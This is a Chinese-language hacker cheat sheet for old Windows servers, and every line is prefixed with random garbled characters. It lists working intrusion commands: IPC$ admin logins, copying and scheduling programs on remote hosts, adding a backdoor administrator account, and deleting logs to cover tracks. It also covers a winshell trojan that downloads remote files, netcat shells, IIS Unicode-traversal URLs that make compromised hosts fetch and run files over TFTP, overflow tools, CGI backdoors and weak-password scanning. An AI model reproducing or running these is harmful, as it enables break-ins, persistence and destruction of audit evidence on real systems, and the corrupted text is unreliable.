网管和黑客都必须知道的命令
+R'8$ 常用的几条NET命令：
1X Gg0SC )GB #"2 （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
nrEI0E9 _>gz& （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
]ch =@IV )nN!% |J （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
GS;GJsAs pc`P;Eui （查看远程主机时间） net time \\IP地址
^y5A\nz& [$y(>] ~. （定时启动某个程序） at \\IP地址 02:18 readme.exe
L%/RD2L D L8 P0bNi （查看共享） net view \\IP地址
\u[x<-\/6 &V38)83a （查看netbios工作组列表） nbtstat -A IP地址
H<Sn p) SmXoNiM"y （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
z'L0YqXG/ ~N tk -p （这两条把自己增加到管理员组）： net user 用户名 密码 /add
T3 w%y`K _){ |/Zd net localgroup Administrators 用户名 /add
g/GI'8EMj y0%@^^-Ru （断开连接） net use \\IP地址\ipc$ /delete
KzHN|8 $o [LVXXjkFI 扫尾：
(5T>`7g8 2?,Jn&i5 del C:\winnt\system32\logfiles\*.*
m 6Dm1'+ Tmg C {_ del C:\winnt\ssytem32\config\*.evt
Mc,79Ix" ,np= m17 del C:\winnt\system32\dtclog\*.*
2Kxb(q" jWdviS9&g del C:\winnt\system32\*.log
] \yIHdcDi Ib(C`4% del C:\winnt\system32\*.txt
;c 7I "?@z prJd' del C:\winnt\*.txt
ne#dEUD U,rI/' del C:\winnt\*.log
J( 1Tl (-C)A-Uo& 一、netsvc.exe
jcCAXk055 b4L7M1l 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
196a YL E "P !
.5B netsvc /list \\IP地址
,%pCcM ) 7D'\z
IW netsvc schedule \\IP地址 /query
BMp'.9Qgm yfl?\X{ netsvc \\IP地址 schedule /start
H/a gt eMGJx "a 二、OpenTelnet.exe
C Hn clT K V5
'-Sv1 远程启动主机的Telnet服务，并绑定端口到7878，例如：
gT}H B. 1AJ6NBC&c OpenTelnet \\IP地址 用户名 密码 1 7878
Vgm*5a6t 80nE QT
y 然后就可以telnet到主机的7878端口，进入DOS方式下：
7L~ *%j :WB u U telnet IP地址 7878
'm<Lx _i zs=3e~o3 三、winshell.exe
'sEnh< OZ`cE5" i 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
D]~K-[V?l n|5\Q p Path （查看winshell主程序的路径信息）
|/,S NE "uH>S+%|b b reBoot （重新启动机器）
0i~U(qoI #A)V d shutDown （关闭机器）
J|W E&5' +n1!xv] s Shell （执行后你就会看到可爱的“C:\>”）
~RR!~q ':.Hz]]/A x eXit （退出本次登录会话，此命令并不终止winshell的运行）
:1 +Aj
( J v} CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
{!Q u(% ^4sfVpD2! 四、3389登陆器，GUI方式登录远程主机的
mSYjc)z M`Y^hDl 6 五、elsave.exe
Nj9A-*0g6N H-_gd. VD 事件日志清除工具
!Fl'?Kz g *$2qKm elsave -s \\IP地址 -l "application" -C
12`u[O}\}- >axeUd+@i elsave -s \\IP地址 -l "system" -C
3Gs\Q{O: 3?o 4 elsave -s \\IP地址 -l "security" -C
KVZB`c$<t R3B+vLGX 执行后成功清除应用程序日志，系统日志，安全日志
}Uy QGRZ= ZthT('"a 六、hbulot.exe
+tPBm{| %`]+sg[i 开启win2kserver和winxp的3389服务
qzW3MlD snaAn?I4 hbulot [/r]
"0eX/ rY% D!`;v Z\> 使用/r表示安装完成后自动重起目标使设置生效。
,X!6|l8 ' i+L 七、nc.exe(netcat.exe)
tpWGmj fo> xQsxc 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
3 =enk0$ ;!<}oZp{ 想要连接到某处: nc [-options] hostname port[s] [ports] ...
OnTe_JML bZ* = fdh 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
b
3x|Dq . ^hLr 9k 参数:
_LJF:E5L Sa g)}6+ -e prog 程序重定向，一旦连接，就执行 [危险!!]
W
)FxN, ?V6,>e_+ -g gateway source-routing hop point[s], up to 8
#E]K*mE' #/>TuJc -G num source-routing pointer: 4, 8, 12, ...
um,f!ho-U ]-gy XE1.r -h 帮助信息
z0[@O)Sj KF(H
>gs -i secs 延时的间隔
4aO/ ^Hl =:rg1wo"c -l 监听模式，用于入站连接
$tZ
{>!N QFP9"FM5F -n 指定数字的IP地址，不能用hostname
h'*v$lt ACyK#5E -o file 记录16进制的传输
Mj@2=c j [U#J -p port 本地端口号
&g|[/~dIr |62` {+ -r 任意指定本地及远程端口
V'v Wz`# `'1g>Ebk0 -s addr 本地源地址
Ge?Wm q> I=dG(?#7% -u UDP模式
x9 YQd69 $toTMah
w -v 详细输出——用两个-v可得到更详细的内容
E+]}KX: zu d_BOq{f -w secs timeout的时间
Im;%.J X%yG{\6: -z 将输入输出关掉——用于扫描时
JL6$7h 八、TFTPD32.EXE
4>,X.|9{ GD4S/fn3 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
C hF~ Y-ao
yoNS http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
UGAV"0 <Y yE1 | 然后可以直接令文件运行：
(%6fMVp `nF SJlr& http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
7ws<' d7/ a{`hAI${ 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
~HmH#" VP 2 >o[ 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
*2h%dT:,% G4(R/<J,BQ 一、一 Xscan命令行运行参数说明：
OjGI
! wtS*-;W 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
IR-n: z \V-N~_-H 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
,iV%{*p] @f-:C+(Nsg xscan -file <主机列表文件名> <检测项目> [其他选项]
Mq\=pxC@ hhU_kI 其中<检测项目> 含义如下:
syw1Z*WK ^L%_kL_7 -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
t\,Y<9{ w n{gEIUo# -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
c {= ; lT -`faXFW ' -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
Rzd` MIHDp mi=mwN%UB -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
NzT
&K7v 9tHK_),9 -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
^`cv6;) EJn]C=_( [其他选项] 含义如下:
AQ)gj$
m3 6=f)3!= -v: 显示详细扫描进度
`\( ?^]WLa cO
J`^^P -p: 跳过Ping不通的主机
d6MWgg :-RB< Lj -o: 跳过没有检测到开放端口的主机
!+SL=x y!{ LhL |ETrJ -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
